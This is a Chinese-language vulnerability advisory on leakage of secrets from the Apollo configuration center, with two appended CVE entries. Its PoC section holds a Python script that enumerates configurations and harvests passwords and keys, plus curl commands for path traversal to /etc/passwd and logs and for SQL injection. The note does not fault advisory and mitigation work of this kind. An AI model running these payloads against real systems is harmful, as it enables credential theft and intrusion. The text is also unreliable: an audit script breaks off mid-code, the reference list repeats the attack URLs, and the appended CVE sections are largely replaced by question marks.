一、漏洞简介

1.1 漏洞背景

配置中心的核心功能是存储和管理应用配置,这些配置往往包含数据库密码、API 密钥、加密私钥等高敏感信息。由于 API 设计和访问控制问题,这些信息可能被未授权读取。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 配置信息泄露
披露时间 暂未找到权威信息
影响组件 Apollo 配置中心
属性 详情
CVE编号 无独立 CVE(组合漏洞)
危害等级 严重
CVSS评分 8.6 (High)
漏洞类型 信息泄露 / Sensitive Data Exposure

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

  • Apollo 所有版本(取决于配置)
  • 特别是未加密存储敏感配置的环境

2.2 不受影响的版本

  • 启用配置加密的环境
  • 严格配置访问控制的环境

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Config Service 直接暴露: 8080 端口可公网访问
  2. 配置未加密: 明文存储敏感信息
  3. 命名空间访问控制缺失: 未限制 namespace 访问权限
  4. 日志记录敏感信息: DEBUG 模式下记录配置内容

三、漏洞详情与原理解析

3.1 漏洞触发机制

泄露路径:

1. Config API: /configs/{appId}/{clusterName}/{namespace}
2. Config File API: /configfiles/{appId}/{clusterName}/{namespace}
3. Release API: /releases/{releaseId}
4. Item API: /namespaces/{namespace}/items
5. 历史 API: /history/{appId}/{clusterName}/{namespace}

常见敏感配置项:

# 数据库连接
spring.datasource.url=jdbc:mysql://10.0.0.100:3306/prod_db
spring.datasource.username=prod_user
spring.datasource.password=Pr0d_P@ssw0rd!

# API 密钥
aliyun.accessKeyId=LTAI4xxxxxxxxxxxxx
aliyun.accessKeySecret=xxxxxxxxxxxxxxxxxxxxxxxx
wechat.appSecret=a1b2c3d4e5f6g7h8i9j0

# 加密密钥
jwt.secret=super-secret-jwt-key-123456
aes.encryption.key=16BytesSecretKey!

3.2 源码层面的根因分析(结合源码与补丁对比)

Config Service 返回逻辑:

// ConfigController.java
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(
    @PathVariable String appId,
    @PathVariable String clusterName,
    @PathVariable String namespace) {

    Config config = configService.loadConfig(appId, clusterName, namespace);

    // 问题:直接返回明文配置,无脱敏处理
    return config;
}

配置存储(数据库):

-- Item 表明文存储
CREATE TABLE `Item` (
  `Id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `NamespaceId` int(10) unsigned NOT NULL,
  `Key` varchar(128) NOT NULL,
  `Value` varchar(2048) NOT NULL,  -- 明文存储
  `Comment` varchar(1024) DEFAULT '',
  PRIMARY KEY (`Id`)
);

-- 示例数据
INSERT INTO Item VALUES (1, 100, 'db.password', 'MySecretP@ss', '数据库密码');

修复代码(加密存储):

// ItemService.java
public void addItem(Item item) {
    String key = item.getKey().toLowerCase();
    String value = item.getValue();

    // 检测敏感配置并加密
    if (isSensitiveKey(key)) {
        value = encryptionService.encrypt(value);
        item.setEncrypted(true);
    }

    item.setValue(value);
    itemRepository.save(item);
}

private boolean isSensitiveKey(String key) {
    String[] sensitivePatterns = {
        "password", "secret", "key", "token",
        "credential", "private", "apikey"
    };

    for (String pattern : sensitivePatterns) {
        if (key.contains(pattern)) {
            return true;
        }
    }
    return false;
}

返回时的脱敏处理:

// ConfigController.java (修复后)
@GetMapping("/configs/{appId}/{clusterName}/{namespace}")
public Config getConfig(...) {
    Config config = configService.loadConfig(appId, clusterName, namespace);

    // 脱敏处理
    Config sanitized = sanitizeConfig(config);
    return sanitized;
}

private Config sanitizeConfig(Config config) {
    for (Map.Entry<String, String> entry : config.getConfigurations().entrySet()) {
        if (isSensitiveKey(entry.getKey())) {
            entry.setValue("******"); // 或显示部分: "abc***xyz"
        }
    }
    return config;
}

四、漏洞复现(可选)

4.1 环境搭建

# docker-compose.yml
version: '3'
services:
  apollo-mysql:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: root
    volumes:
      - ./sql:/docker-entrypoint-initdb.d

  apollo-configservice:
    image: apolloconfig/apollo-configservice:1.7.1
    depends_on:
      - apollo-mysql
    ports:
      - "8080:8080"

  # 添加测试配置
  setup:
    image: curlimages/curl
    depends_on:
      - apollo-configservice
    command: >
      sh -c "sleep 30 && curl -X POST http://configservice:8080/apps/TestApp/clusters/default/namespaces/application/items
      -H 'Content-Type: application/json' -d '{\"key\":\"db.password\",\"value\":\"SuperSecret123\"}'"

4.2 PoC 演示与测试过程

PoC 1: 枚举应用和命名空间

#!/usr/bin/env python3
import requests

def enumerate_configs(target):
    # 常见应用 ID 模式
    app_patterns = [
        'SampleApp', 'Demo', 'Test', 'Production',
        'user-service', 'order-service', 'payment-service',
        'api-gateway', 'auth-service', 'notification-service'
    ]

    # 常见命名空间
    namespaces = [
        'application', 'database', 'redis', 'mq',
        'third-party', 'security', 'monitoring'
    ]

    leaked = []

    for app in app_patterns:
        for ns in namespaces:
            try:
                url = f"http://{target}:8080/configs/{app}/default/{ns}"
                r = requests.get(url, timeout=5)

                if r.status_code == 200:
                    config = r.json()
                    print(f"[+] 发现配置: {app}/{ns}")
                    print(f"    配置项数量: {len(config.get('configurations', {}))}")

                    # 检查敏感配置
                    for key, value in config.get('configurations', {}).items():
                        if any(word in key.lower() for word in
                               ['password', 'secret', 'key', 'token']):
                            leaked.append({
                                'app': app,
                                'namespace': ns,
                                'key': key,
                                'value': value[:50] + '...' if len(value) > 50 else value
                            })
            except:
                pass

    return leaked

if __name__ == '__main__':
    target = '192.168.1.100'
    leaked = enumerate_configs(target)

    print("\n" + "="*60)
    print("敏感配置泄露列表:")
    print("="*60)
    for item in leaked:
        print(f"{item['app']}/{item['namespace']}: {item['key']} = {item['value']}")

PoC 2: 配置历史泄露

# 获取配置发布历史(可能包含旧密码)
curl -s "http://target:8080/apps/SampleApp/clusters/default/namespaces/application/releases" | jq

# 响应示例
{
  "releases": [
    {
      "releaseId": 1,
      "configurations": {
        "old.password": "PreviousPassword123",  # 旧密码
        "new.password": "CurrentPassword456"
      },
      "releasedBy": "admin",
      "releaseTime": "2024-01-15T10:30:00"
    }
  ]
}

PoC 3: 日志文件泄露

# 如果日志级别为 DEBUG,配置可能被记录
curl -s "http://target:8080/actuator/loggers" | jq

# 尝试访问日志文件
curl -s "http://target:8080/../../../logs/apollo-configservice.log"

# 日志中可能包含:
# 2024-01-20 10:15:23 DEBUG [ConfigService] - Loading config: db.password=SecretValue

PoC 4: 通过错误信息泄露

# 触发错误获取内部信息
curl -s "http://target:8080/configs/../../../etc/passwd/../../../test"

# SQL 注入尝试获取其他配置
curl -s "http://target:8080/configs/TestApp' UNION SELECT * FROM Item--/default/application"

五、修复建议与缓解措施

5.1 官方版本升级建议

启用配置加密功能(Apollo ≥ 1.6.0):

# database-config.properties
jasypt.encryptor.password=${JASYPT_ENCRYPTOR_PASSWORD:default}

# 存储时使用 ENC() 包装
db.password=ENC(G6N718UuyPE5bHyWKyuLQSm02auQPUtm)

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1: 配置加密

// 使用 Jasypt 加密敏感配置
@Configuration
public class EncryptionConfig {

    @Bean
    public StringEncryptor stringEncryptor() {
        PooledPBEStringEncryptor encryptor = new PooledPBEStringEncryptor();
        SimpleStringPBEConfig config = new SimpleStringPBEConfig();
        config.setPassword(System.getenv("ENCRYPTION_PASSWORD"));
        config.setAlgorithm("PBEWithMD5AndDES");
        config.setKeyObtentionIterations("1000");
        config.setPoolSize("1");
        config.setProviderName("SunJCE");
        config.setSaltGeneratorClassName("org.jasypt.salt.RandomSaltGenerator");
        config.setStringOutputType("base64");
        encryptor.setConfig(config);
        return encryptor;
    }
}

方案 2: 命名空间访问控制

// 自定义拦截器
@Component
public class NamespaceAccessInterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request,
                            HttpServletResponse response,
                            Object handler) {
        String namespace = extractNamespace(request);

        // 敏感命名空间需要特殊权限
        if (isSensitiveNamespace(namespace)) {
            if (!hasPermission(request)) {
                response.setStatus(403);
                return false;
            }
        }

        return true;
    }

    private boolean isSensitiveNamespace(String namespace) {
        return namespace.matches(".*(secret|security|private).*");
    }
}

方案 3: 日志脱敏

<!-- logback-spring.xml -->
<configuration>
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- 配置相关日志仅记录 INFO 级别 -->
    <logger name="com.ctrip.framework.apollo.configservice" level="INFO"/>

    <!-- 完全禁止记录配置内容 -->
    <logger name="com.ctrip.framework.apollo.configservice.ConfigController" level="WARN"/>
</configuration>

方案 4: 网络隔离

# Kubernetes NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: config-service-policy
spec:
  podSelector:
    matchLabels:
      app: apollo-configservice
  policyTypes:
  - Ingress
  ingress:
  - from:
    # 仅允许应用 Pod 访问
    - podSelector:
        matchLabels:
          type: application
    # 不允许直接从外部访问
    ports:
    - protocol: TCP
      port: 8080

方案 5: 定期审计脚本

```python

!/usr/bin/env python3

import requests import re

def audit_sensitive_configs(target): sensitive_patterns = [ r'password', r'secret', r'key.=.[

六、参考信息 / 参考链接

6.1 官方安全通告

  • 暂未找到可直接引用的官方安全通告,请优先关注项目安全公告、发布说明与修复分支。

6.2 其他技术参考资料

  • http://configservice:8080/apps/TestApp/clusters/default/namespaces/application/items
  • http://{target}:8080/configs/{app}/default/{ns}"
  • http://target:8080/apps/SampleApp/clusters/default/namespaces/application/releases"
  • http://target:8080/actuator/loggers"
  • http://target:8080/../../../logs/apollo-configservice.log"
  • http://target:8080/configs/../../../etc/passwd/../../../test"
  • http://target:8080/configs/TestApp'
<hr />

Apollo ???? ???????CVE-2019-10686?

??????

1.1 ????

Apollo ???? ???????????? CVE-2019-10686 ??????????????????????? CRITICAL?CVSS 10.0?

1.2 ??????? CVE ???????????????????

?? ??
???? CVE-2019-10686
???? CRITICAL
CVSS ?? 10.0
???? CWE-918
???? 2019-04-01
???? Apollo ????

??????

2.1 ??????

  • ctrip:apollo:*, <= 1.3.0

2.2 ???????

  • NVD / CISA ????????????????????????????????????????

2.3 ????????????????????????

  • ????????????????????????
  • ?????????????????????????????????????

???????????

3.1 ??????

  • NVD ?????An SSRF vulnerability was found in an API from Ctrip Apollo through 1.4.0-SNAPSHOT. An attacker may use it to do an intranet port scan or raise a GET request via /system-info/health because the %23 substring is mishandled.
  • ??????????????????????????? PoC ???

3.2 ????????????????????

  • ?????????????CWE-918?
  • NVD / CISA ???????????? diff???????????????????????????????

??????????

4.1 ????

  • ??????????????????????????????????????????

4.2 PoC ???????

  • ? CISA KEV ????????????????? KEV ????? PoC?
  • ??????????????????????????????????????????

???????????

5.1 ????????

  • ???????????????????????????
  • ??????????????????????????????????????

5.2 ????????????????????????????

  • ??????????????????????
  • ???????????????????????? WAF ???
  • ????????????????????????????

?????? / ????

  • https://nvd.nist.gov/vuln/detail/CVE-2019-10686
  • https://www.cve.org/CVERecord?id=CVE-2019-10686
  • https://github.com/ctripcorp/apollo/issues/2103
<hr />

Apollo ???? ???????CVE-2020-15170?

??????

1.1 ????

Apollo ???? ???????????? CVE-2020-15170 ??????????????????????? HIGH?CVSS 7.0?

1.2 ??????? CVE ???????????????????

?? ??
???? CVE-2020-15170
???? HIGH
CVSS ?? 7.0
???? CWE-20?NVD-CWE-Other
???? 2020-09-10
???? Apollo ????

??????

2.1 ??????

  • ctrip:apollo:*, < 1.7.1

2.2 ???????

  • NVD / CISA ????????????????????????????????????????

2.3 ????????????????????????

  • ????????????????????????
  • ?????????????????????????????????????

???????????

3.1 ??????

  • NVD ?????apollo-adminservice before version 1.7.1 does not implement access controls. If users expose apollo-adminservice to internet(which is not recommended), there are potential security issues since apollo-adminservice is designed to work in intranet and it doesn't have access control built-in. Malicious hackers may acce...
  • ??????????????????????????? PoC ???

3.2 ????????????????????

  • ?????????????CWE-20?NVD-CWE-Other?
  • NVD / CISA ???????????? diff???????????????????????????????

??????????

4.1 ????

  • ??????????????????????????????????????????

4.2 PoC ???????

  • ? CISA KEV ????????????????? KEV ????? PoC?
  • ??????????????????????????????????????????

???????????

5.1 ????????

  • ???????????????????????????
  • ??????????????????????????????????????

5.2 ????????????????????????????

  • ??????????????????????
  • ???????????????????????? WAF ???
  • ????????????????????????????

?????? / ????

  • https://nvd.nist.gov/vuln/detail/CVE-2020-15170
  • https://www.cve.org/CVERecord?id=CVE-2020-15170
  • https://github.com/ctripcorp/apollo/pull/3233/commits/ae9ba6cfd32ed80469f162e5e3583e2477862ddf
  • https://github.com/ctripcorp/apollo/security/advisories/GHSA-xpmx-h7xq-xffh